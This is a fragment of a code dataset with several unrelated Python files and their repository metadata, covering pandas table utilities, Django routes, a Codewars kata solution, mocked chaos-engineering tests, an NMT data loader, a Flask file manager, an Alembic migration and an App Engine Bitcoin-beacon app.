end:\n :return: True, first time bubble happen if there is bubble, False and None otherwise.\n \"\"\"\n from pnets.simulation import SIM_EVENT_START, SIM_EVENT_FINISH, SIM_EVENT_RESOURCE\n prev_end = None\n for idx, row_data in res.iterrows():\n if row_data[SIM_EVENT_START] < start or row_data[SIM_EVENT_FINISH] > end or row_data[SIM_EVENT_RESOURCE] != \\\n hw_resource:\n continue\n if prev_end is None:\n prev_end = row_data[SIM_EVENT_FINISH]\n else:\n if row_data[SIM_EVENT_START] > prev_end:\n return True, row_data[SIM_EVENT_START]\n prev_end = row_data[SIM_EVENT_FINISH]\n return False, None\n\n\ndef merge_columns(table, title1, title2):\n \"\"\"\n Merges the title2 column into title1 puts '_' between the values names, and deletes the title2 column\n\n :param table:\n :param title1:\n :param title2:\n :return:\n \"\"\"\n table[title1] = table[title1].map(str) + \"_\" + table[title2].map(str)\n del table[title2]\n return table\n\n\ndef add_zero_instances_to_table(table, object_title, default_values_dict):\n \"\"\"\n Adds zero instances to heartbeat table by object title\n Table assumptions: TIME column\n\n :param table: heartbeat table - table with no start and finish times, only what happened at a certain point in time\n :param object_title: he column title of the objects you want to add zero time instances\n :param default_values_dict: dictionary with titles and default values, example: {'BW': 6400}\n :return:\n \"\"\"\n objects = table[object_title].unique()\n data = []\n for obj in objects:\n titles = {TIME_COLUMN: 0.0}\n titles.update(default_values_dict)\n titles.update({object_title: obj})\n data.insert(0, titles)\n return concat([DataFrame(data), table], ignore_index=True, sort=True)\n\n\ndef get_intersection_times_between_objects(table, object_title, output_obj_name):\n \"\"\"\n Returns runtime table intersection times between objects\n Checks when all of the objects (in the object_title column) in the table are working at once\n (have the same time frame) and returns a table with the intersections times\n\n :param table: Expected to get table with start and finish times columns\n :param object_title: the column title of the objects you want to return their intersection\n :param output_obj_name: name of the object after the intersection which will be showed in the outputted table\n :return: intersections times Dataframe\n \"\"\"\n objects = table[object_title].unique()\n\n intervals = None\n for obj in objects:\n obj_data = table[(table[object_title] == obj)]\n if intervals is None:\n intervals = list()\n for index, row_data in obj_data.iterrows():\n intervals.append([row_data[START_COLUMN], row_data[FINISH_COLUMN], output_obj_name])\n else:\n overlapped_intervals = []\n for index, row_data in obj_data.iterrows():\n for interval in intervals:\n if row_data[FINISH_COLUMN] < interval[0] or interval[1] < row_data[START_COLUMN]:\n continue\n else:\n start_time = max(interval[0], row_data[START_COLUMN])\n end_time = min(interval[1], row_data[FINISH_COLUMN])\n overlapped_intervals.append([start_time, end_time, output_obj_name])\n intervals = overlapped_intervals\n\n result_table = DataFrame(intervals, columns=[START_COLUMN, FINISH_COLUMN, object_title])\n return result_table.sort_values(by=[START_COLUMN, FINISH_COLUMN]).reset_index(drop=True)\n\n\ndef get_union_table(table, object_title):\n \"\"\"\n Removing overlapping times in start and end times of the same object and extends the times to the longest time\n Table assumption\n\n :param table:\n :param object_title: the column title of the object\n :return:\n \"\"\"\n objects = table[object_title].unique()\n result_table = DataFrame()\n for obj in objects:\n obj_data = table[(table[object_title] == obj)]\n obj_data = obj_data.sort_values(by=[START_COLUMN, FINISH_COLUMN]).reset_index(drop=True)\n start_time = None\n end_time = None\n overlapped_intervals = list()\n for index, row_data in obj_data.iterrows():\n if start_time is None:\n start_time = row_data[START_COLUMN]\n end_time = row_data[FINISH_COLUMN]\n continue\n if start_time <= row_data[START_COLUMN] <= end_time:\n end_time = max(end_time, row_data[FINISH_COLUMN])\n else:\n overlapped_intervals.append([start_time, end_time, obj])\n start_time = row_data[START_COLUMN]\n end_time = row_data[FINISH_COLUMN]\n overlapped_intervals.append([start_time, end_time, obj])\n result = DataFrame(overlapped_intervals, columns=[START_COLUMN, FINISH_COLUMN, object_title])\n result_table = concat([result_table, result])\n\n return result_table.sort_values(by=[START_COLUMN, FINISH_COLUMN]).reset_index(drop=True)\n\n\ndef get_intersection_table(table, object_title):\n \"\"\"\n Gets the intersection times of the same object (by the object_title)\n\n :param table: expected to be table with start and finish times\n :param object_title: the column title of the objects you want to return their intersection\n :return: intersections times Dataframe\n \"\"\"\n objects = table[object_title].unique()\n result_table = DataFrame()\n for obj in objects:\n obj_data = table[(table[object_title] == obj)]\n obj_data = obj_data.sort_values(by=[START_COLUMN, FINISH_COLUMN]).reset_index(drop=True)\n start_time = None\n end_time = None\n overlapped_intervals = list()\n for index, row_data in obj_data.iterrows():\n if start_time is None:\n start_time = row_data[START_COLUMN]\n end_time = row_data[FINISH_COLUMN]\n continue\n if row_data[START_COLUMN] < end_time:\n start_time = max(row_data[START_COLUMN], start_time)\n end_time = min(row_data[FINISH_COLUMN], end_time)\n else:\n overlapped_intervals.append([start_time, end_time, obj])\n start_time = row_data[START_COLUMN]\n end_time = row_data[FINISH_COLUMN]\n overlapped_intervals.append([start_time, end_time, obj])\n result = DataFrame(overlapped_intervals, columns=[START_COLUMN, FINISH_COLUMN, object_title])\n result_table = concat([result_table, result])\n\n return result_table.sort_values(by=[START_COLUMN, FINISH_COLUMN]).reset_index(drop=True)\n\n\ndef filter_table_by_expression(table, expression):\n \"\"\"\n Returns the table filtered by the expression_dict\n\n :param table: expected to be table with start and finish times\n :param expression: {:}\n :return:\n \"\"\"\n conditional_res = table[create_condition_for_dataframe(table, expression)]\n return conditional_res.sort_values(by=[START_COLUMN, FINISH_COLUMN]).reset_index(drop=True)\n\n\ndef create_condition_for_dataframe(table, expression):\n \"\"\"\n Creates a condition for dataframe\n\n :param table:\n :param expression: {:}\n :return: condition for Dataframe\n \"\"\"\n condition = None\n for title, value in expression.items():\n condition_to_add = (table[title] == value)\n if condition is None:\n condition = condition_to_add\n else:\n condition = condition & condition_to_add\n return condition\n\n\ndef get_condition_name(expression):\n \"\"\"\n Returns a string that represents the expression\n\n :param expression:\n :return:\n \"\"\"\n conditions = expression.get(OR, None)\n is_and_condition = False\n if conditions is None:\n conditions = expression.get(AND, None)\n is_and_condition = True\n if conditions is None:\n condition = ''\n for key, value in expression.items():\n condition += key + COLON + ' ' + str(value)\n return condition\n condition = None\n for condition_desc_list in expression.values():\n for condition_desc in condition_desc_list:\n for obj, value in condition_desc.items():\n if obj == AND or obj == OR:\n condition_to_add = OPEN_BRACKET + get_condition_name({obj: value}) + CLOSE_BRACKET\n else:\n condition_to_add = OPEN_BRACKET + obj + COLON + ' ' + str(value) + CLOSE_BRACKET\n if condition is None:\n condition = condition_to_add\n else:\n if is_and_condition:\n condition += ' and ' + condition_to_add\n else:\n condition += ' or ' + condition_to_add\n return condition\n\n\ndef get_concurrency_table(table, expression, expression_name='Expression'):\n \"\"\"\n Returns a merged table that contains the intervals when expression is true in the given table\n\n :param table:\n :param expression: {'OR'/'AND': [{:<value>, <title>:<value>}, {'OR'/'AND': [...]}]}.\n please note that if the expression is a string the function will convert it to dictionary style\n also all of the conditions that are inside one dictionary are with \"and\" logic inside\n the filtered table the 'AND/OR' in the dictionary keys represents\n the time intersections or unions and not and on the table title and values\n example for a string: '|(<title>: <value>, <title>: <value>)'\n :param expression_name: the expression name that will show in the outputted table\n :return:\n\n Example::\n\n >>> table = DataFrame()\n >>> get_concurrency_table(table, {'AND': [{'RESOURCE': 'Display'}, {'BW': 6400}]})\n \"\"\"\n if isinstance(expression, str):\n raise ValueError('Currently str expressions are not supported!')\n # expression = convert_string_expression_to_dict(expression)\n elif isinstance(expression, LogicExpression):\n expression = convert_expression_to_dict(expression)\n table = get_table_by_expression(table, expression)\n if table.empty:\n return DataFrame()\n table[EXPRESSION] = expression_name\n return get_union_table(table, EXPRESSION)\n\n\ndef get_table_by_expression(table, expression):\n \"\"\"\n Gets the table by the expression, does overlapping for AND conditions and concatenates for OR conditions\n\n :param table:\n :param expression: {'OR'/'AND': [{<title>:<value>}, {'OR'/'AND': [...]}]}\n :return: filtered table by the expression\n \"\"\"\n new_table = DataFrame(columns=[EXPRESSION, START_COLUMN, FINISH_COLUMN])\n key = list(expression.keys())[0]\n if key != AND and key != OR:\n new_table = concat([new_table, filter_table_by_expression(table, expression)], sort=True)\n elif key == AND:\n for condition in expression[key]:\n new_table = concat([new_table, get_table_by_expression(table, condition)], sort=True)\n new_table = get_intersection_times_between_objects(new_table, EXPRESSION, get_condition_name(expression))\n else:\n for condition in expression[key]:\n new_table = concat([new_table, get_table_by_expression(table, condition)], sort=True)\n\n new_table[EXPRESSION] = get_condition_name(expression)\n return new_table\n\n\ndef convert_string_expression_to_dict(expression: str):\n \"\"\"\n Converts a string to the dictionary format expression\n\n :param expression: should be in the following format: '&(<obj>:<val>, <obj>:<val>, |(<obj>:<val>, <obj>:<val>))\n\n :return:\n \"\"\"\n # TODO: Need to be supported with the new format\n expression = expression.replace(' ', '')\n if AND_SIGN not in expression and OR_SIGN not in expression:\n raise ValueError('The string format is not supported, there needs to be |/& before every set of obj:val')\n else:\n dict_list = list()\n conditions = expression.split(OPEN_BRACKET, 1)\n conditions = conditions[1]\n conditions = conditions.rsplit(CLOSE_BRACKET, 1)\n conditions = conditions[0]\n still_parsing = True\n while still_parsing:\n if not conditions.startswith(AND_SIGN) and not conditions.startswith(OR_SIGN):\n conditions = conditions.split(COMMA, 1)\n condition = conditions[0].split(COLON, maxsplit=1)\n dict_list.append({condition[0]: condition[1]})\n if len(conditions) == 1:\n break\n conditions = conditions[1]\n else:\n count_of_open = 0\n count_of_close = 0\n last_close = 0\n for i in range(0, len(conditions)):\n if conditions[i] == OPEN_BRACKET:\n count_of_open += 1\n elif conditions[i] == CLOSE_BRACKET:\n count_of_close += 1\n last_close = i\n if count_of_open == count_of_close and count_of_open != 0:\n if last_close == len(conditions) - 1:\n dict_list += [convert_string_expression_to_dict(conditions)]\n still_parsing = False\n else:\n dict_list += [convert_string_expression_to_dict(conditions[:last_close + 1])]\n conditions = conditions[last_close+2:]\n break\n\n if expression.startswith(AND_SIGN):\n return {AND: dict_list}\n elif expression.startswith(OR_SIGN):\n return {OR: dict_list}\n else:\n raise ValueError('The expression format is not supported, please see documentation for more details.')\n\n\n# Expressions API for concurrency tables\nclass LogicExpression:\n def __init__(self, conditions: list, logic: str = AND):\n \"\"\"\n Defines Logic Expression among expressions/conditions\n\n :param conditions: list of dict or expressions\n the dictionary should be: {title: value}\n :param logic: the logic between the conditions (AND or OR)\n \"\"\"\n self._conditions = conditions\n self._logic = logic\n\n @property\n def conditions(self):\n return self._conditions\n\n @conditions.setter\n def conditions(self, conditions):\n self._conditions = conditions\n\n @property\n def logic(self):\n return self._logic\n\n def add_condition(self, condition):\n self._conditions.append(condition)\n\n\nclass LogicCondition:\n def __init__(self, title, value):\n \"\"\"\n :param title: title of the value\n :param value: the value that you want to match the title\n For example in states: title = 'STATE', value = 'C0'\n \"\"\"\n self._object_name = title\n self._value = value\n\n @property\n def object_name(self):\n return self._object_name\n\n @object_name.setter\n def object_name(self, object_name):\n self._object_name = object_name\n\n @property\n def value(self):\n return self._value\n\n @value.setter\n def value(self, value):\n self._value = value\n\n\ndef convert_expression_to_dict(expression: LogicExpression):\n \"\"\"\n :param expression: LogicExpression\n :return: dictionary\n \"\"\"\n conditions = list()\n for condition in expression.conditions:\n if isinstance(condition, LogicExpression):\n conditions.append(convert_expression_to_dict(condition))\n elif isinstance(condition, LogicCondition):\n conditions.append({condition.object_name: condition.value})\n elif isinstance(condition, dict):\n conditions.append(condition)\n else:\n raise ValueError('The conditions of LogicExpression need to be either'\n ' LogicExpression, LogicCondition or Dictionary!')\n\n return {expression.logic: conditions}\n\n\ndef _combine_dataframes(dataframes):\n \"\"\"\n Combine data frames based on an index\n Assume dataframe index represents the key.\n\n :param dataframes: a map from data frame name to a data frame\n :return: merged dataframe with multi-index columns\n \"\"\"\n multi_index = []\n names_dfs = [(name, df.add_suffix('_' + str(name))) for name, df in dataframes.items()]\n orig_dfs = [df for df in dataframes.values()]\n dfs = [i[1] for i in names_dfs]\n names = [i[0] for i in names_dfs]\n for c in orig_dfs[0].columns:\n for name in names:\n multi_index.append((c, name))\n\n merged = DataFrame(columns=MultiIndex.from_tuples(multi_index))\n inner_merged = dfs[0]\n\n for name_df in names_dfs[1:]:\n inner_merged = inner_merged.merge(\n name_df[1], left_index=True, right_index=True, how='outer'\n )\n\n for c in orig_dfs[0].columns:\n for name in names:\n merged[(c, name)] = inner_merged[c + '_' + str(name)]\n\n merged.index.name = orig_dfs[0].index.name\n return merged\n\n\ndef combine_dataframes(dataframes, index=None):\n \"\"\"\n combine data frames based on an index.\n The set of columns that should be treated as index is specified in \"index'\n\n :param dataframes: a map from data frame name to a data frame\n :param index: the index\n :return: the combined data frame\n \"\"\"\n if index is not None:\n for name in dataframes:\n dataframes[name] = dataframes[name].set_index(index)\n\n result = _combine_dataframes(dataframes)\n result.reset_index(inplace=True)\n return result\n","repo_name":"shabanim/sim-datin","sub_path":"speedsim/post_processing/tables.py","file_name":"tables.py","file_ext":"py","file_size_in_byte":23072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"14674189970","text":"\nfrom django.contrib import admin\nfrom django.urls import path,include\nfrom .views import *\n\nurlpatterns = [\n \n path('' , home, name=\"home\") ,\n path('<id>/show-movies/' , show_movies , name=\"show_movies\"),\n path('memberships/' , plans, name=\"plans\"),\n path('profile/' ,profile, name=\"profile\" ),\n path('success/' , success , name=\"success\"),\n path('watch-now/<id>/' , watch_now , name=\"watch_now\"),\n path('error/', error , name=\"error\")\n]\n","repo_name":"prolaysaha/Project","sub_path":"core/home/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"34575773061","text":"\"\"\"\n\n4 kyu\nMost frequently used words in a text\n\nhttps://www.codewars.com/kata/51e056fe544cf36c410000fb\n\n\n\nWrite a function that, given a string of text (possibly with punctuation and\nline-breaks), returns an array of the top-3 most occurring words, in descending\norder of the number of occurrences.\n\nAssumptions:\nA word is a string of letters (A to Z) optionally containing one or more\napostrophes (') in ASCII. (No need to handle fancy punctuation.) Matches should\nbe case-insensitive, and the words in the result should be lowercased. Ties may\nbe broken arbitrarily. If a text contains fewer than three unique words, then\neither the top-2 or top-1 words should be returned, or an empty array if a text\ncontains no words.\n\n\nExamples:\ntop_3_words(\"In a village of La Mancha, the name of which I have no desire to\ncall to mind, there lived not long since one of those gentlemen that keep a\nlance in the lance-rack, an old buckler, a lean hack, and a greyhound for\ncoursing. An olla of rather more beef than mutton, a salad on most nights,\nscraps on Saturdays, lentils on Fridays, and a pigeon or so extra on Sundays,\nmade away with three-quarters of his income.\")\n# => [\"a\", \"of\", \"on\"]\n\ntop_3_words(\"e e e e DDD ddd DdD: ddd ddd aa aA Aa, bb cc cC e e e\")\n# => [\"e\", \"ddd\", \"aa\"]\n\ntop_3_words(\" //wont won't won't\")\n# => [\"won't\", \"wont\"]\n\n\nBonus points (not really, but just for fun): Avoid creating an array whose\nmemory footprint is roughly as big as the input text. Avoid sorting the entire\narray of unique words.\n\n\"\"\"\n\n\nimport re\nfrom collections import Counter\n\n\n# Working for static tests, but not for dynamic\ndef top_3_words3(text):\n new = {}\n result = []\n text = re.sub(\"[^\\w\\d'\\s]+\", \"\", text.lower()).strip()\n if re.findall(\"\\w\", text):\n for t in text.split():\n if t not in new:\n new[t] = text.split().count(t)\n for x, y in sorted(new.items(), key=lambda t: t[1])[::-1]:\n if len(result) < 3:\n result.append(x)\n return result\n\n\n# Using Collections > Counter\ndef top_3_words2(text):\n txt = Counter(re.findall(\"'*[a-z][a-z']*\", text.lower()))\n top = [k for k, v in txt.most_common(3)]\n return top\n\n\n# Simplifying the last one\ndef top_3_words(text):\n return [word for word, count in Counter(\n re.findall(\"'*[a-z][a-z']*\", text.lower())).most_common(3)]\n\n\nassert top_3_words(\"a a a b c c d d d d e e e e e\") == [\"e\", \"d\", \"a\"]\n\nassert top_3_words(\"e e e e DDD ddd DdD: ddd ddd aa aA Aa, bb cc cC e e e\")\\\n == [\"e\", \"ddd\", \"aa\"]\n\nassert top_3_words(\" //wont won't won't \") == [\"won't\", \"wont\"]\n\nassert top_3_words(\" , e .. \") == [\"e\"]\n\nassert top_3_words(\" ... \") == []\n\nassert top_3_words(\" ' \") == []\n\nassert top_3_words(\" ''' \") == []\n\nassert top_3_words(\"\"\"In a village of La Mancha, the name of which I have\nno desire to call to mind, there lived not long since one of those gentlemen\nthat keep a lance in the lance-rack, an old buckler, a lean hack, and a\ngreyhound for coursing. An olla of rather more beef than mutton, a salad on\nmost nights, scraps on Saturdays, lentils on Fridays, and a pigeon or so extra\non Sundays, made away with three-quarters of his income.\"\"\")\\\n == [\"a\", \"of\", \"on\"]\n","repo_name":"Eliacim/Codewars.com","sub_path":"Python/4 kyu/MostFrequentlyUsedWordsInAText.py","file_name":"MostFrequentlyUsedWordsInAText.py","file_ext":"py","file_size_in_byte":3232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"69912241680","text":"# -*- coding: utf-8 -*-\nimport json\nimport pytest\n\nfrom chaosswarm.actions import kill_task, restart_service\nfrom hamcrest import *\nfrom unittest.mock import Mock\n\ndef extract_post_data(cmd):\n post_data_pos = cmd.index('--post-data') + 1\n return cmd[post_data_pos]\n\n@pytest.fixture()\ndef mock_with_exec():\n def func(status):\n exec_run = Mock(return_value = (0, '{\"status\": \"%s\"}' % status))\n client = Mock()\n client.containers.get = Mock(return_value = Mock(exec_run = exec_run))\n payload_func = lambda: json.loads(extract_post_data(exec_run.call_args.args[0]))\n return client, payload_func\n return func\n\ndef test_kill_task(mock_with_exec):\n client, payload_func = mock_with_exec('success')\n configuration = {'helper_container_id': 'ze-container'}\n kill_task('ze-service', docker_client = client, configuration = configuration)\n assert_that(payload_func(), has_entry('selector', {'services': {'name': 'ze-service'}}))\n assert_that(payload_func(), has_entry('action', ['pumba', 'kill', 'containers']))\n\ndef test_restart_service():\n client = Mock()\n service = Mock(force_update = Mock(return_value = lambda : True))\n client.services.get = Mock(return_value = service)\n restart_service('ze-service', docker_client = client)\n service.force_update.assert_called()\n","repo_name":"bittrance/chaostoolkit-docker-swarm","sub_path":"tests/test_actions.py","file_name":"test_actions.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"29252768878","text":"from __future__ import print_function\nfrom hyperparams import Hyperparams as hp\nimport tensorflow as tf\nimport numpy as np\nimport codecs\nimport regex\nimage_path = \"../../image/flickr30k_ResNets50_blck4_{}.fp16.npy\"\ndef load_de_vocab():\n vocab = [line.split()[0] for line in codecs.open('../preprocessed/de.vocab_bpe.tsv', 'r', 'utf-8').read().splitlines() if\n int(line.split()[1]) >= hp.min_cnt]\n word2idx = {word: idx for idx, word in enumerate(vocab)}\n idx2word = {idx: word for idx, word in enumerate(vocab)}\n return word2idx, idx2word\n\n\ndef load_en_vocab():\n vocab = [line.split()[0] for line in codecs.open('../preprocessed/en.vocab_bpe.tsv', 'r', 'utf-8').read().splitlines() if\n int(line.split()[1]) >= hp.min_cnt]\n word2idx = {word: idx for idx, word in enumerate(vocab)}\n idx2word = {idx: word for idx, word in enumerate(vocab)}\n return word2idx, idx2word\n\n\ndef create_test_cap_data(source_sents, target_sents,set,language=\"de\"):\n de2idx, idx2de = load_de_vocab()\n en2idx, idx2en = load_en_vocab()\n images = np.load(image_path.format(set)).shape[0]\n image_index = list(range(images))\n # Index\n Targets,image_index_list = [], []\n for i in range(images):\n target_n = []\n if language==\"de\":\n for k in range(5):\n target_n.append(source_sents[i+images*k])\n flag = all([len(sen.split())<=hp.maxlen for sen in target_n])\n else:\n for k in range(5):\n target_n.append(target_sents[i+images*k])\n flag = all([len(sen.split())<=hp.maxlen for sen in target_n])\n if flag:\n image_index_list.append(image_index[i])\n Targets.append(target_n)\n return np.array(image_index_list),Targets\n\ndef load_test_cap_data(set=\"val\",language=\"de\"):\n de_sents, en_sents = [], []\n for i in range(1,6):\n if set==\"val\":\n de_sents.extend([line.strip() for line in codecs.open(hp.source_val.format(i), 'r', 'utf-8').readlines()])\n en_sents.extend([line.strip() for line in codecs.open(hp.target_val.format(i), 'r', 'utf-8').readlines()])\n elif set==\"train\":\n de_sents.extend([line.strip() for line in codecs.open(hp.source_train.format(i), 'r', 'utf-8').readlines()])\n en_sents.extend([line.strip() for line in codecs.open(hp.target_train.format(i), 'r', 'utf-8').readlines()])\n elif set==\"test\":\n de_sents.extend([line.strip() for line in codecs.open(hp.source_test.format(i), 'r', 'utf-8').readlines()])\n en_sents.extend([line.strip() for line in codecs.open(hp.target_test.format(i), 'r', 'utf-8').readlines()])\n image_index,Targets = create_test_cap_data(de_sents, en_sents,set,language=language)\n return image_index,Targets\n\ndef create_cap_data(sents,set,total=True): \n de2idx, idx2de = load_de_vocab()\n en2idx, idx2en = load_en_vocab()\n images = np.load(image_path.format(\"train\")).shape[0]\n if total!=True:\n image_index = list(range(images))\n else:\n image_index = list(range(images))*5\n x_list, Targets, image_index_list,x_target_list= [], [], [],[]\n for i,sent in enumerate(sents):\n if set==\"de\":\n x = [de2idx.get(word, 1) for word in (sent).split()] \n x_target = [de2idx.get(word, 1) for word in (sent+u\" </S>\").split()] \n else:\n x = [en2idx.get(word, 1) for word in (sent).split()] \n x_target = [en2idx.get(word, 1) for word in (sent+u\" </S>\").split()]\n if max(len(x),len(x_target)) <=hp.maxlen:\n image_index_list.append(image_index[i])\n x_list.append(np.array(x))\n Targets.append(sent)\n x_target_list.append(np.array(x_target))\n # Pad \n X = np.zeros([len(x_list), hp.maxlen], np.int32)\n X_target = np.zeros([len(x_target_list), hp.maxlen], np.int32)\n for i, (x,x_target) in enumerate(zip(x_list,x_target_list)):\n X[i] = np.lib.pad(x, [0, hp.maxlen-len(x)], 'constant', constant_values=(0, 0))\n X_target[i] = np.lib.pad(x_target, [0, hp.maxlen-len(x_target)], 'constant', constant_values=(0, 0))\n return X,np.array(image_index_list), Targets,X_target\n\ndef load_cap_data(set,total=True):\n def _refine(line):\n return line.strip()\n sents = []\n for i in range(1,6):\n if set==\"de\":\n if(total!=True):\n sents.extend([_refine(line) for line in open(hp.source_train.format(i), 'r',encoding=\"utf-8\").readlines()])\n else:\n sents.extend([_refine(line) for line in open(hp.source_train.format(i), 'r',encoding=\"utf-8\").readlines()])\n else:\n if(total!=True):\n sents.extend([_refine(line) for line in open(hp.target_train.format(i), 'r').readlines()])\n else:\n sents.extend([_refine(line) for line in open(hp.target_train.format(i), 'r').readlines()])\n X,image_index,Targets,X_target = create_cap_data(sents,set,total)#!\n data = list(zip(X,image_index,Targets,X_target))\n np.random.shuffle(data)\n X = [i for i,j,k,m in data]\n image_index = [j for i,j,k,m in data]\n Targets = [k for i,j,k,m in data]\n X_target = [m for i,j,k,m in data]\n return X,image_index,Targets,X_target\n\n","repo_name":"weitianxin/rl-nmt","sub_path":"image caption/data_load.py","file_name":"data_load.py","file_ext":"py","file_size_in_byte":5272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"41511844008","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# Creaded on 2017/5/25\r\n\"\"\"__DOC__\"\"\"\r\n\r\nimport os\r\nfrom flask import current_app, jsonify\r\nfrom flask_restful import Resource, reqparse\r\nfrom application import csvfiles # 这里不应该从 application 中导入 ... 待修改\r\n\r\n\r\nclass CSVFilesManager(Resource):\r\n @staticmethod\r\n def get():\r\n \"\"\"\r\n 返回目录 'UPLOADED_CSVFILES_DEST' 下的所有文件名及其URL\r\n :return: {文件名:URL, ...}\r\n \"\"\"\r\n file_dir = current_app.config.get('UPLOADED_CSVFILES_DEST')\r\n filename_list = os.listdir(file_dir)\r\n return jsonify({filename: csvfiles.url(filename) for filename in filename_list})\r\n\r\n @staticmethod\r\n def delete():\r\n \"\"\"\r\n 根据参数 filename 删除目录 'UPLOADED_CSVFILES_DEST' 下的指定的文件\r\n :return: 204 NO CONTENT\r\n \"\"\"\r\n # parse args\r\n parser = reqparse.RequestParser()\r\n parser.add_argument('filename', required=True)\r\n args = parser.parse_args()\r\n filename = args['filename']\r\n # get url\r\n file_dir = current_app.config.get('UPLOADED_CSVFILES_DEST')\r\n filename_list = os.listdir(file_dir)\r\n if filename in filename_list:\r\n os.remove(os.path.join(file_dir, filename))\r\n return '', 204 # 204 NO CONTENT\r\n\r\n\r\nif __name__ == '__main__':\r\n pass\r\n","repo_name":"mengyetxz/Flask-Graduation-Project","sub_path":"application/api/invoice/uploaded_csvfiles_manager.py","file_name":"uploaded_csvfiles_manager.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"17362828827","text":"\"\"\"id autoincrement\n\nRevision ID: c4dbb55a4af8\nRevises: 06b325a12c7d\nCreate Date: 2023-07-13 23:15:31.317582\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n# revision identifiers, used by Alembic.\nrevision = 'c4dbb55a4af8'\ndown_revision = '06b325a12c7d'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index('ix_comments_id', table_name='comments')\n # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_index('ix_comments_id', 'comments', ['id'], unique=False)\n # ### end Alembic commands ###\n","repo_name":"nurali0709/test-social-media","sub_path":"migrations/versions/c4dbb55a4af8_id_autoincrement.py","file_name":"c4dbb55a4af8_id_autoincrement.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"38646324033","text":"import jinja2\nimport os\nimport webapp2\nimport urllib\nimport json\nimport logging\nimport uuid\nimport random\nimport string\n\nfrom google.appengine.ext import ndb\n\nJINJA_ENVIRONMENT = jinja2.Environment(\n\tloader=jinja2.FileSystemLoader(os.path.dirname(__file__)),\n\textensions = ['jinja2.ext.autoescape'],\n\tautoescape=True)\n\nclass Manifest(ndb.Model):\n\t# num_participants = ndb.IntegerProperty()\n\t# num_winners = ndb.IntegerProperty()\n\t# future_block = ndb.IntegerProperty()\n\t# random_key = ndb.\n\tmanifest_details = ndb.JsonProperty()\n\t# optional_script = ndb.TextProperty(default = None)\n\nclass MainPage(webapp2.RequestHandler):\n def get(self):\n template = JINJA_ENVIRONMENT.get_template('index.html')\n self.response.write(template.render())\n\nclass CreateNew(webapp2.RequestHandler):\n\tdef get(self):\n\t\ttemplate = JINJA_ENVIRONMENT.get_template('create_new.html')\n\t\tself.response.write(template.render())\n\nclass SaveManifest(webapp2.RequestHandler):\n\tdef post(self):\n\t\tmanifestContent = json.loads(self.request.body)\n\t\tlogging.info(manifestContent)\n\n\t\t# def generateManifestID():\n\t\t# \treturn ''.join(random.choice('abcdefghjkmnpqrtuvwxyz2346789') for _ in range(5))\n\n\t\t# manifest_id = generateManifestID()\n\t\t# while(Manifest.get_by_id(manifest_id)):\n\t\t# \tmanifest_id = generateManifestID()\n\t\tmanifest_id = manifestContent['hashOutputString']\n\n\t\tlogging.info(manifest_id)\n\n\t\tmanifest = Manifest(id = manifest_id, manifest_details = manifestContent)\n\t\tmanifest.put()\n\n\t\tself.response.write(manifest_id)\n\t\t# template = JINJA_ENVIRONMENT.get_template('display_submitted_manifest.html')\n\t\t# template_values = {'manifest': manifest}\n\t\t# self.response.write(template.render(template_values))\n\nclass DisplayManifest(webapp2.RequestHandler):\n\tdef get(self):\n\t\t# logging.info(self.request.path)\n\t\t# logging.info(self.request.path.split(\"/\")[-1])\n\t\tmanifest_id = self.request.path.split(\"/\")[-1]\n\t\tmanifest = Manifest.get_by_id(manifest_id)\n\t\tlogging.info(manifest)\n\t\ttemplate_values = {'manifest' : manifest.manifest_details, 'id' : manifest_id}\n\t\ttemplate = JINJA_ENVIRONMENT.get_template('display_manifest.html')\n\t\tself.response.write(template.render(template_values))\n\nclass DownloadManifest(webapp2.RequestHandler):\n\tdef get(self):\n\t\tmanifest_id = self.request.path.split(\"/\")[-1]\n\t\tlogging.info(manifest_id)\n\t\tmanifest = Manifest.get_by_id(manifest_id)\n\t\tlogging.info(manifest.manifest_details)\n\t\tself.response.headers['Content-Type'] = 'text/json'\n\t\tself.response.headers['Content-Disposition'] = 'attachment; filename=manifest_%s.json' % manifest_id\n\t\tself.response.write(json.dumps(manifest.manifest_details))\n\t\t# template = JINJA_ENVIRONMENT.get_template('index.html')\n\t\t# self.response.write(template.render())\\\n\nclass ProcessManifest(webapp2.RequestHandler):\n\tdef get(self):\n\t\ttemplate = JINJA_ENVIRONMENT.get_template('process_manifest.html')\n\t\tself.response.out.write(template.render())\t\n\napplication = webapp2.WSGIApplication([\n ('/', MainPage), ('/createnew', CreateNew), ('/processmanifest', ProcessManifest), ('/created', SaveManifest), ('/manifest/\\w*', DisplayManifest), ('/download/\\w*', DownloadManifest)\n], debug=True)","repo_name":"SaahilMadge-zz/bitcoinbeacon","sub_path":"bitcoinbeacon.py","file_name":"bitcoinbeacon.py","file_ext":"py","file_size_in_byte":3144,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"29"} +{"seq_id":"37932451996","text":"import sys\n\nif len(sys.argv) < 2:\n print(\"ファイル名を指定してください。\")\n sys.exit()\n\nf = open(sys.argv[1], \"r\")\n\nlines = f.readlines()\n\nfor line in lines:\n print(line, end=\"\")\n\nf.close()\n \n","repo_name":"MasatakaShibataSS/lesson","sub_path":"Python/10/cmdline.py","file_name":"cmdline.py","file_ext":"py","file_size_in_byte":216,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} 